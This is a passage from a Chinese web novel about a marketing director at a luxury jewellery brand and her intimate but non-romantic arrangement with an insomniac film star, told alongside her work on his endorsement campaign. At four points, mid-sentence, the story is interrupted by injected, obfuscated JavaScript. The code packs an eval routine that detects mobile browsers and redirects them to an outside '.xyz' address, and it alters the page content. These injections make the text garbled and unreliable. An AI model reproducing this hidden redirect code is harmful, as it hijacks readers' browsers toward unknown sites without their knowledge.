周四，TVCACopy已出——周三伊林去了制作公司在上海的剪辑室，熬了通宵。Acopy需要给各品牌VP确认产品出现时长与画面结构，因此不能只当作传播团队的内部意见收集，要把它当作已接近成片的BCopy对待。伊林深知，各品牌VP会在看过片子之后集体吐槽，“看不懂”、“太生活化”、“太意识流”、“不符合品牌调性”、“产品表现不够”、“风格莫名”……这些私下转公开的评价，伊林大部分都听到过。她也早已从一开始的会被刺痛，到了现在的不在意。一次又一次的声量上涨与外界好评是李伊林的底气来源。多年职场经验也让她会在每一次内部汇报会之前，做好万全对策与自我防范。 在李伊林来到这家风格传统的高端珠宝品牌的四年间，她出色完成了法国总部的全球命题：在不损伤品牌调性的前提下实现品牌的年轻化演进。她主导了与国内潮流品牌的限量跨界，与新晋女性主义当红作家的播客专项，与新生代网球冠军的长期代言合作，以及与多位潮流艺术家的联合创造计划。每年的品牌周年庆，李伊林都会带团策划意想不到的破圈大事件，不论是与有反差感的品牌合作，还是与意想不到的跨界名人、艺术家、创作者合作，每一次都让大部分潜在受众眼前一亮。在四年的季度用户调研结果里，利希斯品牌受众年龄段已从平均35岁提升至平均30岁。虽然不可否认的有国内奢侈品使用者年轻化的浪潮加持，但成绩毕竟是成绩，李伊林也得到了破格连升两级的丰厚回报。 晋升过快的结果就是成为众矢之的。这次何屿代言人项目是在公司全球市场预算缩紧情况下，投入最大的超级营销项目。这当然是因为何屿这个名字——他出身头部富豪家庭，罕见的同时拥有出色的容貌品位与表演实力。尽管沉寂五年，但从网络提及度的分析看来，他的国民性分毫不减。对于商业品牌，何屿的唯一缺点是基本不接代言。此次是他沉寂五年之后的复出作品拍摄期，能让他在此阶段接下商业代言，不止在利希斯内部，整个行业都想知道李伊林手中究竟有何筹码。 伊林自然知道，这份代言合同来路不正。她内心更明白另一件事：如果她的“陪睡”真相被曝光，李伊林这个名字将会在本行业完全社死。这个世界本就对女性不宽容，更不要提她的快速晋升已为她树敌颇多。但她更不会停止向上攀爬。既然困于失眠症的何屿给了她这个机会，她自然不会放过。 ACopy是在大会议室公开播放的。之所以选择公开播放与反馈，自然是因为李伊林有这个自信。 整片片场2分钟，在广告片里已算长片。但何屿的出现缩短了时间，让120秒钟变为令人惊艳的短短一瞬。伊林想，整支片子所带来的美的震撼，大部分归功于何屿。当他在夕阳中的回眸落下，会议室里一片寂静。 放映完毕，品牌VP尚未进行反馈，CMO首先问了李伊林媒介投放费用，立即决定加投双倍。同时为她布置新任务——将成片剪辑成更多短板本，投放所有社交媒体。再追加季度视频内容合作预算，请李伊林前往广州说服何屿团队拍摄更多电影质感宣传短片。 布置完追加任务之后，CMO离开会议室。他没空听品牌VP的集中反馈。这是第一次，所有品牌线同事对除产品本身之外的任何情节表现、镜头与画面运用皆无异议。伊林知道，这一切的进展顺利与扬眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459261|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吐气，都来自于何屿的绝对唯一性。 会议结束，伊林看到负责TVC项目的下属叶朗在与中端产品线高级总监王景星交谈。看见她收起电脑走出会议室，王景星马上停止对话，满脸堆笑来夸赞成品。只不过他夸的人是叶朗，不是李伊林。 伊林礼貌回了他几句，径自回到办公室。王景星与叶朗之前的关系非常一般，此次代言人项目除了一些产品借用拍摄，与中端产品线也无交集。因为传播是大横向，下属与其他团队的充分交流也不是坏事。李伊林让自己不要多想，稍作休息后，按照日程去往下一个会议室布置详细的团队内部分工。 周五下午，伊林在上飞机之前还在开电话会议。媒介预算的增加意味着物料产出的增加，意味着目前何屿拍摄素材的重新挑选与剪辑。与何屿团队追加拍摄需求，亦需要完整提案。诸多新增任务排在官宣项目之间，让传播团队彻底进入地狱模式。 尽管连续一周都疲累非常，李伊林依旧在周五晚上十点到达广州。被司机接回庭院时，何屿还没有下戏。主卧被拖来的另一张床不见了，只剩下何屿的一张大床。伊林累到不去想更多，关灯扑进床铺里睡过去。 中途迷迷糊糊感觉有人抱住她，带着熟悉的雪松淡香。是他。 伊林浅浅握住对方的手，再次躲进睡梦中。 周六早晨醒来，另一个人已不在身边，只有床铺间残留的木质香。伊林摸出手机按亮屏幕，工作信息爆炸。她躺在床上点开所有群看过去，快速处理需要决策的相关事务。然后她看到何屿昨晚发来的语音信息。发送时间应该在昨晚伊林冲澡时。 她打开何屿的微信界面，再度蜷缩进羽绒被里。她祛除焦躁，去听他的声音。 「伊林，到家了吗？抱歉，晚上戏份还没有拍完，不能在家里等你。厨房给你留了夜宵，吃完先睡。晚安。」 李伊林将他的声音播放一遍，又播放一遍。像小时候要求母亲重复一遍又一遍的童话故事。 当她长大，也就不再相信公主与王子的幸福传说。 她坐起身来，凝视从窗帘缝隙渗透进来的阳光。 距离第一个在线工作会议，只有半个小时。 27. 第 27 章 27 距离代言人官宣只剩下两周。为配合何屿的拍摄日程以及气候状况，活动选在广州东方文华酒店，同步新品发售。利希斯品牌原本定下的活动场地在上海，但因方华异常强势，不接受除广州之外的一切其他地点，品牌方只得让步。这意味着原定在上海亮相的一系列高端珠宝和新品系列，均需要专机运送至广州。 原定上海活动公司亦全员驻扎广州，成本提升已成必然。伊林已能够想象公司财务对追加预算盘根问底，品牌VP质疑传播组完全搞不定代言人，CMO要求测算活动地点偏移所产生的冗余费用……尽管如此，伊林内心对何屿团队依旧没有怨言。活动场地的妥协能让她有更大筹码去谈追加合作。方华对利希斯的强势是为了保护何屿的拍摄进度不受影响，CMO要求的追加拍摄可以延至年后。《风起》拍摄期是四个月，何屿戏份集中在前三个月拍完。12月开拍，春节在2月13日，年后何屿的时间应该充裕一些。 官宣项目线上会议结束，已是中午十二点半。宅子里换了专业厨师，在她在庭院工作时，为她送来自制冰饮。合上电脑，伊林从敞开的厨房窗户闻到食物香气。她朝窗内望去，厨师正在将成品摆盘。 回到餐厅，一人份的精美菜系已备好。伊林坐下看着一个又一个小餐盘，觉得新奇，跟厨师有一搭没一搭的聊起来。这些菜系都是这位名叫张新和的年轻厨师自己琢磨的，是将日式与粤系菜做了实验性融合。伊林听着他介绍菜品，一边尝试着。虽然口味的确陌生，但味道都着实不错。 美味食物入口，诸多烦心事项皆可缓解。伊林用心品尝着。何屿中午并不会回来，这位张姓厨师却依然为她一人备好餐食。伊林忽然有一种担心，介入何屿生活的时间越长，她被“惯坏”的机率越大。而当有一天何屿不再需要她，她还能从这种极端舒适的生活里毫发无损，脱身而出吗？ 用好午餐，张新和将备好的晚餐放进冰箱，提醒伊林这些均为冷餐，盖好的珐琅锅里有海鲜粥，晚餐时开火热一下即可。餐食处理说明好之后，厨师也没有多做停留。虽然在餐厅相谈甚欢，但伊林明白，这也不过是他的一份工作。餐后有家政来收拾餐桌，伊林回到庭院里再度打开电脑。她将手头的何屿素材全部看了一遍，挑选出一些能够组合成篇的镜头来做好标记，根据素材组合新的故事线。 忙完边角素材筛选与重组，电脑时间显示已过4点。紧接着又是代言人追加合作方案的内部方向会。伊林与团队商讨出几个方向，交代叶朗brief给agency进行创意拓展。 一整天的工作忙完，已是夕阳西下。独自用完晚餐，伊林坐在庭院里看日落。橘色光芒笼罩着远方植物丛，被橘色光芒层层浸染，像猫的绒毛，层层叠叠，暖融融。夕阳是一团燃烧的火，将原本的蓝色天空烧成橘红。荒草干燥的味道萦绕空中，是黄昏特有的，如隐身异国村落般的惬意。 已有多长时间，她不曾放松自己，浸入世界慷慨无私的美？这份工作，这份给予丰厚报酬并将她钉死在网络上的工作，究竟是给了她所有，还是夺走一切？ 落日之境只持续不到半小时，世界慢慢沉入黑暗。扣合在庭院木桌上的手机屏幕亮起，伊林将它反过来看，是来自何屿的新信息。 「睡得好吗，新厨师的菜系是否合你口味？」 伊林不禁微笑。在他忙碌又十分透支的拍摄日程里，他竟然还有闲心来在意李伊林的饮食起居。 「睡得很好。味道不错。」她简短回复他。「你呢，拍摄一切顺利？」 「还有一些戏份想换种表现，估计收工要推迟。」 伊林想了想，回复他「我会等你。」 「好。」 在这之后，何屿并无更多回复，应该是又去忙碌。伊林回到客厅看了会儿小说，再度打开电脑，准备完成今天的2000字。 沉浸入写作中，时间过得很快。无知无觉中，迎来庭院大门被开启的声音。伊林反射性去看墙上钟表，已接近凌晨。 何屿推门进来，伊林才发现，他的头发被剪短了些。脸上妆容尚未卸去，像个刚满20岁的大学生。 “伊林。”在玄关，他对她微笑。 李伊林站起来，在他脱掉鞋子的时候走到他面前仔细去看。 “你看起来……好年轻。”她抑制着伸手去触摸他的冲动。 “妆造的关系。”何屿像是看透了李伊林。他抬起她的手，放在自己脸颊边上。“这几天的戏份是林其卫大学期间。” 伊林轻抚着他的面颊与耳后。她看着何屿像只猫一样闭上眼睛。他的睫毛很长，皮肤细腻。他安静在她的手掌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459262|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，让人想索取更多。 她强迫自己停止动作，对于并非恋爱关系的人来说，这样实在太过暧昧。 男子睁开眼睛，伊林没有再看他。“去洗澡吧，早点休息。” 她转身走向自己的笔电，将文件存好。她不去注意何屿的反应。 何屿没有回应。他安静走上二楼，消失在主卧里。 很快，二楼浴室响起水声。伊林坐在沙发上发一会儿呆，再去客卧洗漱。 两个人躺进一张床里，已过凌晨一点。何屿伸手搂着伊林，虽然并未说话，但伊林能听到他的心跳声，并非将要入睡的平缓规律。 “……太累了，睡不着？”她问他。 “嗯。在想今天的一些镜头。”隔着睡衣，何屿无意识一般抚摸她的手臂。 “让你想起年轻时候？” “是有一些。但我在想，这样表现是否正确。” “既然都拍完了，就别去想。”伊林劝他。“我相信你对每一种感情的处理。” 黑暗的静寂里，男子亲吻她的额头。 “能对我这么宽容的，一定是我的影迷。”他在逗她。 “怎么，我不能是？”伊林反问得理直气壮。 她听到男子温暖的轻笑声。“……我尽量不辜负这位忠实的观众朋友。” 伊林伸手搂住他。“观众朋友要求你早点睡觉。明天还要早起么？”她问他。 “是，六点起……”他的声音变得很轻，伊林知道，他想睡了。 “快睡。有事梦里去想。”她轻声对他说。 “好……”他应着，已经非常困倦。“晚安，伊林……”他的声音渐渐消失在睡梦中。 尽管在黑暗中，伊林依然能想象出现在何屿的表情，他疲惫的面容会在安全温暖的床铺间舒展开来，抱着毛绒玩具一般的她，安静无忧。 神明夺走他的睡眠，或许只为引诱他敞开心扉。 身边男子呼吸均匀，心跳平缓。伊林被这样的他感染，奔赴梦中去。 次日清晨，身边依旧无人。伊林去看墙上时钟，是早上9点。 起床之前，她算了一下演员何屿的工作时间：8点开工，11点结束。一天工作15个小时。他毫无怨言。 伊林利索起身，洗漱完毕后开始一天的工作。 28. 第 28 章 28 28 晚上7点，刚刚结束线会议的伊林接到项英琦视频电话，接通显示却是何屿的脸。 “伊林！”随着声音，项英琦挤进来半张脸。“我们去城里吃完饭，何屿喊你来！” 何屿笑着摇头。“英琦说她想你了。”何屿对她说。他的表情柔和，眼尾稍稍弯起来。“方华会把地址发给你。”他说。 伊林也笑了。她知道，这是剧组今日提前收工的喜悦。“我这就过去。”她对何屿说。 依然是上次剧组聚餐的复古餐厅。见到伊林，项英琦先过来拥抱她。“怎么这几天不来片场？” “工作脱不开……”不好拒绝漂亮热情的女演员，伊林转而接受她把手臂搭在自己肩上。她抽空去看何屿，男子正与方华在手机上对着什么，并没有注意到她。 “来坐我旁边。”英琦让伊林坐在何屿与她之间，但并不给她跟何屿讲话的机会。“你们利希斯什么时候官宣代言？需要女演员支持吗？”她问得毫不掩饰。 “……我认为需要。我们想跟何屿谈一些追加拍摄合作，在官宣后做持续营销。等播出之后你们的CP火起来，利希斯一定会来找你。”这并非场面漂亮话，而是在项英琦问出的一瞬间，李伊林做出的职业判断。 “好呀！我可以不要合作费用，只要你们给我个品牌挚友身份！”李伊林知道，项英琦身上没有奢侈品代言，她很会挑时机给自己攒机会。 “我会帮忙引荐。”这一次伊林只给予“官方回答”。 “一定哦！”项英琦不愧是女明星，虽然是在利用饭局给自己拉商业机会，但她表现得大方自然，毫不做作。“不管合不合作，我都给利希斯贡献销量！” “森林系列有几款限量特别版很适合你，我给你留名额。”伊林熟练使用着VIP话术。虽然并不是很想继续这个话题，但她没有表现出任何情绪。 包厢门被推开，服务生接连上菜。项英琦自然为伊林介绍菜品，显得十分热络。这位漂亮的女明星很关注蓝血品牌的设计总监互换，伊林有些惊讶于她对奢侈品集团内外部明争暗斗了如指掌。谈话之间她了解到，接下来何屿工作室想为项英琦打造“高知静奢风”人设，这的确能在突出项英琦个人气场的同时，有效中和她外貌的攻击性。 何屿工作室的确专业，项英琦的包装方向调整完美契合时代审美变迁，同时与何屿本身的风格相契合。《风起》播出之后，她与何屿的CP形象定会大幅提升她的商业价值。锚定更多高端品牌，是工作室为她设计的发展方向，李伊林所代表的硬奢珠宝品牌如果与她合作，将是项英琦这个名字获得奢侈品牌认可的一项标志。 与方华对完工作的何屿刚刚发现伊林的到来。“伊林。”他微笑唤她，但也仅限于此。他没有打断项英琦的热络。 何屿时不时加入项英琦与伊林的聊天话题，但她能听得出来，他并不多说，只停留在浅层社交礼仪。 在项英琦再一次约伊林明天一起午餐时，何屿有些反常得插进来替她回答。 “伊林明天应该会回上海。”他转过视线看向她。“明天几点的飞机？”他的语调与表情都透露着亲密。 这是第一次，何屿在外部环境里毫不掩饰他们之间所谓的“亲密”关系。尽管饭桌上看起来无人在意，伊林依旧感觉很不自在。 “……下午四点。”她不看他，机械回答。 “好。我上午不用去片场，陪你吃早午餐。”他说得自然随意，但更像在对上一个邀请者项英琦表态，伊林归他所有。 周遭谈话声安静下来，再响起。看似无人对此有反应。项英琦沉默片刻，去跟方华起新话题。 这是自然。何屿是所有人的老板，没有人会在这间包厢忤逆他。 应付聊天的间隙，李伊林在看似热闹的席间独自吃饭。她无比清晰的明白一个事实：从表面看来，李伊林拥有“特殊身份”，坐在两位明星之间的中心位置，被争相关心和邀请。但实际上，李伊林非常明白自己的真实处境——她只是一线明星何屿的陪睡员，和二线明星项英琦的敲门砖。 一顿饭吃到十点，各自回到住处。伊林对何屿说，她会开车回去，不然车子停在市区不方便。她径自去启动车子，开出市区后速度飙上110.她在用飙车的刺激化解内心烦闷。 回到家中，伊林并不等待何屿。她去次卧冲好澡、吹干头发后回到主卧，何屿已在主卧浴室冲澡。伊林也不管他，自己关了灯蒙进被子里。 水声停止后，带着雪松香气的男子躺入床铺。这一次，他并没有拥抱她。 紧绷的沉默里，伊林叹气起身。她想离开何屿，去隔壁睡客房。 “……怎么了？”察觉她的动作，何屿问。 “……”伊林无言，又转身躺下。她不知道应该对他说些什么。 “……伊林，你有什么想让我做的，都尽管说。”男子声音柔和，真诚。以他的聪明，他不可能不知道李伊林在烦些什么。但他选择避而不谈。 李伊林转过身，在黑暗中正对何屿。 “何屿，就算你不喜欢我，不想跟我成为实际上的恋爱关系，我也不会离开你。你不用担心。”伊林选择对他坦白。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459263|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……我知道。”何屿回应。“你之前答应过。” “所以你不用跟任何人‘表演’，明示暗示我跟你是男女朋友。我们明明不是。”说到此，伊林又开始内心烦闷。 “……为什么不能是？”身边男子反问。他的声音很冷。“因为，你不想跟我的名字有任何联系？” ……因为你并不喜欢我。没有这该死的失眠症，你我这辈子都不会产生任何交集。 李伊林不知道该说些什么，也不知道应该从何说起。这场毫无缘由的失眠症，已经将他们的关系彻底扭曲。伊林内心清楚，何屿对她所产生的不正常的依恋与占有欲，都源于害怕她的离开。 见她长时间不回应，身边男子伸手抱住她。“……我只想让英琦离你远点。”他的声音闷闷的。 “……为什么？”伊林疑惑。 “……英琦性取向是女性。”他在她耳边说话。 李伊林恍然大悟。而后她更是哭笑不得。在这一刻她忽然明白，何屿之所以对她有各种意想不到的“出格”表现，是因为实际上在他们的关系中，何屿，这个一贯的上位者，第一次处于下位。他很笨拙且焦虑的适应着这个位置，却一直不得要领。生平第一次，他丢掉了一贯有之的从容。 她轻轻叹了口气。对她无法自控的依赖和需索，已经让何屿很不好受。她需要给他更多安全感。 “……如果你想让我成为你的官方女友，我不反对。但不是现在。我不想失去工作。” “好。”何屿回答得很快。“我会想办法不让你受影响。”他的声音恢复平静，带着一种得偿所愿的小心翼翼。 “都是以后的事了。以后的事以后再说。睡吧。”伊林干脆结束对话。 “嗯。晚安。”何屿说。 尽管已经宣告谈话结束，伊林却毫无睡意。何屿的怀抱温热、亲密，像他毫不掩饰的占有与需索。伊林明白，自己早已沦陷，但何屿也未必就没有沉溺。只是两个人的感情并非一致，但它的浓度，或许并无本质区别。 在此之中，只剩下一个疑问： 这种并非爱情的占有欲，是李伊林想要的吗？ 窗外月色明亮。而后响起断续风声，空中快速漂浮的乌黑云层将皎洁亮光全然遮挡。星辰却亮起来，一点一点，扎破黑暗。 如果她追寻的是光，又何必在意它存在的具体样貌？ 身边男子已陷入熟睡。这让她感到得偿所愿的平静、安稳。 伊林回抱着他，闭上双眼。 在黑暗中，她乘着点点星光，追向他所在的美梦一场。 29. 第 29 章 29 回到上海之后，李伊林每天忙到午餐都在开会。成片完稿、官宣事件、新媒体传播、媒介投放、品牌产品对接……所有事项都需要在本周有切实进展。品牌组开启每日早报，直接向CMO汇报每日进展。 何屿的睡前语音问候依旧在持续，这也成了李伊林每天放下疲累，进入休眠的启动阀。 转眼到周五，会议排到晚上9点，伊林只能坐夜班机去往广州。上了飞机，她直接睡过去，直到落地广州。她太累了。 被司机接回庭院，已是凌晨三点。何屿竟然还在等她。伊林有些过意不去，但她也无暇顾及。草草冲了个澡，懒得吹头发就往床上扑。何屿无奈，拿了风筒帮她吹干。热风声哄哄，人却已经睡着了。 次日醒来，床上依旧只有李伊林一个人。表铃在10分钟后响起，提醒她去东方文华酒店对线下活动设计。她从床上坐起，提醒自己，再熬一周，就能稍稍松懈。 场地勘察、装置设计、流程管理、活动动线……全部事宜对完，窗外天色已黑。厨师发来信息询问伊林是否需要准备晚餐，她回复不用，要与下属一起吃饭，谢谢。 团队中负责线下活动的是寡言靠谱的戴晓娜。她全程与伊林一起确认所有细则，并做好方案确认后的进度跟进工作。比起叶朗，戴晓娜更让伊林放心。 工作完成后，伊林带晓娜在附近吃晚餐。席间晓娜告诉伊林，王景星非常关心官宣当天线上线下整体方案，在伊林不在时经常过来传播团队工位区闲聊，顺便互通有无。李伊林忽然想起叶朗与王景星过从甚密，忽然有种被背叛的直觉，但也只是一瞬。她压下这种不正常的感受，不该只凭一次印象就对自己的下属作如此判断。 伊林大概清楚王景星意欲何为。他是CMO亲信，是所有产品线VP里唯一的总监。他比伊林大五岁，在李伊林快速跃升的四年里一直原地打转。何屿代言项目最大收益方是他的中端产品线，王景星作为合作部门对整体方案如此感兴趣，只有一种可能：想摘桃子。 只是他这次踢到铁板。他并不知道李伊林与何屿的关系。就算CMO有意在官宣后将代言项目移交给王景星，何屿团队也不会同意变更对接人。这是除李伊林之外，利希斯所有人的信息盲区。 与晓娜吃完晚餐，伊林开车回庭院。除了工作进度，她并不与下属说太多。明日晓娜会负责一切合同流程，伊林不用再去。她的任务是与何屿团队确认TVC最终版。若与艺人团队公事公办，片子是绝不可能一次过的，最惨烈的情况甚至包括推倒重拍。回去路上伊林想起，片场有剪辑室，配有大屏与音箱，明天可以约在饭后，邀何屿团队去剪辑室看片。 虽然在利希斯内部放片时伊林很有自信，但这份自信在更长于影视内容把控的何屿工作室面前，并不是很能立住。 车子开进庭院车库，内里漆黑一片。伊林坐在车内听完正在播放的Bleachers,再下车回到室内。 大厅内角落纸灯被打开，房间内一片寂静。独自回来的李伊林随意将外套和包扔在门厅，斜躺在沙发上。 或许方华会提出一系列修改意见。或许何屿会对片子里呈现出的虚假质感厌恶至极。这些可能出现的后果，都是她无力掌控的。 窗外刮起夜风，大片阔叶植物发出声响。扑拉，扑拉。伊林起身关上窗户，她从透明玻璃中看见自己。 不甚清晰的阴影蔓延在这张不再年轻的脸上，疲惫，烦躁。 她移开视线，走上二楼客卧浴室。 冲好澡、吹干头发，伊林放空躺在主卧大床上。墙上电子钟显示十点过半，是不上不下的晚间时光。 这个点睡不着。伊林从床上坐起，四处搜寻手机。一无所获后她才想起，手机被扔在楼下沙发上。 伊林起身穿好家居服，慢吞吞走下楼。自己的手机在沙发上亮起来，伊林依旧斜躺下，按亮屏幕。 「伊林，回来了么？」是何屿发来信息。 「刚回来。」 「好。厨师准备了宵夜，现在送过来。我在回家路上。」 想到马上就能见到他，伊林原本疲惫的心开始雀跃。她回他一句「等你回来」，扔下手机去浴室整理好自己的一头乱发。 宵夜送来后不久，何屿推门而入。大厅昏暗，厨房却亮着暖色顶灯。那个能让他安稳入睡的人正坐在餐桌前托腮看他。 “回来了。”她稍稍歪了下头，头发简单绕在一边，微笑着问候他。 他垂下眼睫，隐瞒起彻骨的疲惫，再看向她。 “……我回来了。” 她在暖光中等着他回家，她能让他一夜无梦。这是他在长久绝望中，不曾期盼过的现实。 他放下背包，脱掉外套与鞋子，走向他的拯救者。 吃完宵夜，各自冲好澡，两个累了一天的人躺进床铺里。昨晚伊林太困，怎么睡着的毫无记忆。但她记得何屿等她等到三点，按照他的开拍时间，他昨晚只睡了三个小时。 “……你上周睡得好吗？”尽管知道对方已经很累，伊林还是有话要说。 “前两天睡得可以，后面三天逐渐有点困难。” 伊林听着，主动抱着他。他等到深夜也并非是因为想见伊林，是因为他无法入眠。 “……抱歉，我明天下午要飞回上海。周一部门周会我不能不去。”这样算来，何屿后半周又会陷入失眠。伊林觉得愧疚，但她有种直觉，越是临近官宣，她越需要提升与CMO在各种场合的信息交换频次。 “没关系。”何屿用自己的手覆住她的。“你的工作要紧。” “……如果我们的近距离接触能积攒更多睡眠利息，我有一个想法。” 这个想法并非今日就有，它已在内心盘旋很久。面对何屿，它显得冒犯，突兀，不合时宜。但伊林在看到身边男子眼下乌青的瞬间，这些所谓的自尊与挣扎都不再重要。如果她只是一味药剂，那么就应该物尽其用。 “……什么想法？” “……如果你不介意的话，我们可以试试接吻。”伊林很庆幸自己处于黑暗中，不用顾及对方会有何种反应、何种表情。“这是更深层次的身体接触。” 长久的沉默之后，男子回答她。 “好。” 接下来，何屿用另一只手抚摸着她的头发，再到额头，太阳穴，颧骨，耳后，直至下颌。 他与她面对面侧躺着。他抬起她的下颌。 他吻住她。 双唇接触的一瞬间，仿似并没有什么不同。他的唇很柔软，很温暖，然后是他的舌面，柔和狡猾的舔吻她，撬开她，侵入她。 伊林心甘情愿，张开双唇。她放他进来。 一开始，他缓慢而温和的纠缠着她，像是随时都会停止。渐渐的，他的手离开她的下颌，拖住她的后脑，进行更深刻的入侵。舌面相接的每一个瞬间，都让伊林无自觉的浑身颤抖。她压抑着呻吟，尽最大努力配合着他。她完全敞开了自己，任他肆意妄为。 一吻结束，何屿已经无法自控的贴近她。他的身体有了反应，而伊林觉得并无所谓——如果在这一刻，他对她有更进一步的举动，她不会拒绝。 “……抱歉，我去冲澡。” 与身体的直白冲动完全相反，男子第一时间远离她，快速起身去了浴室。伊林一个人留在床铺里，像个不被需要的人。 她很清楚，失望是不该有的情绪。但在这失望背后，又有一种临近悲哀的希望：至少在身体层面，何屿是无法抗拒她的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459264|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水声停止后，何屿走出浴室。他花了很长时间平复身体的激动。他放慢走向床铺的速度，因为他并没有自信，能将身体的平静维持多久。 他掀开羽绒被，躺在她身边。她并没有发出声音。他闻到她头发的清香，是与他一样的雪松香气。 他是多么想亲密的再度拥抱住她，想用手揉搓她乌黑浓密的头发，想一路亲吻她的额头、眉心、鼻尖、双唇。他想要脱去她的衣服，抚摸她的脖颈、肩膀、锁骨、小腹……他好想与她进一步肌肤相亲，想将自己揉搓进她的最深处。 他在床铺边沿处躺好，尽他所能远离李伊林。 他强迫自己进入睡梦中。 李伊林在黑暗中睁开眼睛。她的心陷入冷漠而尖锐的疼痛。她爱的男子，在与她的第一次亲吻之后，选择远离她。 确认何屿已进入深度睡眠后，她靠近他。她在内心说服自己必须这么做。在不能陪伴他左右的新的一周，伊林需要让何屿得到更多的延长睡眠。 在隔着衣物贴近他之后，睡着的男子条件反射一般伸手拥住她。然后他动用全身的力量，将她紧紧扣在自己的怀抱中。 伊林无奈的笑。她再一次觉得自己看不透何屿。他完全不回应自己的感情，但却总是喜欢在见面时贴着伊林，对她倾诉，在分离时每天发她语音，与她分享自己经历的瞬间。当他亲吻她，他的身体欲望完全被唤醒，但在下一秒，他却很快选择远离她…… 也许何屿与她一样，同陷挣扎。李伊林挣扎在对何屿的爱而不得，何屿挣扎在对失眠症的无力挣脱。于他而言，李伊林就像一味绝症特效药，他在害怕失去她的同时，无法阻挡深度上瘾。他很需要李伊林爱上自己，对他来说，这是最有效的安全保障。但他又无法将李伊林当成一个独立个体产生感情——他对她已经畸形的形成了带有身体与情感双重要素的“药物依赖”——他无法离开她，也无法剥除这些畸形的需索，真正爱上她。 诚如何屿自己所说。“这场失眠症，已经逼着我把活生生的人当成工具。……无可救药的人，其实是我自己。” 李伊林伸手回抱紧紧锁住她的男子，她不由自主的叹息出声。她对何屿的所谓“爱”，就一定纯粹吗？她喜欢的是她幻想里的明星何屿，是她拯救了对方的得到感，是她明知何屿为了留住自己无所不用其极的膨胀感，是她想要将对方救出深渊的责任感…… 李伊林想要何屿爱她，同时希望这份爱是纯粹的。但人的感情本来就是复杂立体的，不可能只存在一个象限。她自己都无法做到的“纯粹”，又为什么要以此去要求情感混乱的“病人”何屿？ 伊林在男子怀中找到舒适的位置，听着他清浅规律的呼吸声。 此时此刻，他已安然入眠。他的身体与大脑都正在得到应有的休息。这具身体中的每一个构成部位都在整体而细致的工作着，在睡眠中清除冗余。在太阳升起之后，他会以健康的状态醒来，去面对他计划完成的所有工作。 这些思绪让伊林从紧绷的情感需索中解脱出来。她喜欢这样去想象。她想看着自己爱的人健康、蓬勃，去获得一切他理应获得的生命体验。 熟睡的何屿稍稍松开手臂，却又整个人翻身压住她。伊林被压得无法透气，只能稍稍从他身下逃出来。这种反抗让睡着的人变得不安稳，伊林只得握住他的手。 肌肤相亲的瞬间，是一种相互给予的幸福感。她缓慢抚平他的修长手指，与他十指相扣。 像是终于得到了想要的安全感，何屿整个人安静下来。 伊林用另一只手抚摸他的脸。这是属于她的特权。 温暖的感情充盈心间，如同置身温暖的水。 像被何屿感染一般，甜美的睡意来袭，伊林闭上眼睛，与他一起，睡着了。 30. 第 30 章 30 周日上午伊林醒来，没有见到何屿。本想去片场给他看TVC成片，又被临时线上会议拖住，是CMO想在李伊林在广州期间完成更多临时事项。会议结束，伊林不得不将航班改签至晚饭之后，将成片线上发送给方华并告知她取消送机，收拾好行李再次去往东方文化酒店。 与场地方对接好新增高级珠宝的专机运送，伊林嘱咐晓娜向保险团队追加合同条款与安保升级。从酒店会议室走出，已经没有晚餐时间，伊林直接赶往机场。连续的会议与谈判让李伊林精神疲累。她在送机的酒店专车里睡过去。 到达机场，办完行李托运与安检，在候机时打开手机，除了一堆与外部对接的工作群更新，是何屿发来微信。 「伊林，到上海了么？」 「还没。有临时工作，改签到晚上。半小时后登机」她回复他。 「我看了TVC，拍得很好。」 看到这条信息，伊林松了口气。临近官宣，所有繁忙事务里，似乎只有何屿能让她顺心。 「太好了，本来很忐忑你会不喜欢」 「为什么？」 「毕竟是条广告片，有些地方看起来很假」 「我不觉得，你把我拍得很好看。」 伊林不自觉微笑起来。 「不是我拍的，是摄影师很会拍你」 「那我以后要多用他。」 伊林再度微笑。 「可以，他是你的迷弟」 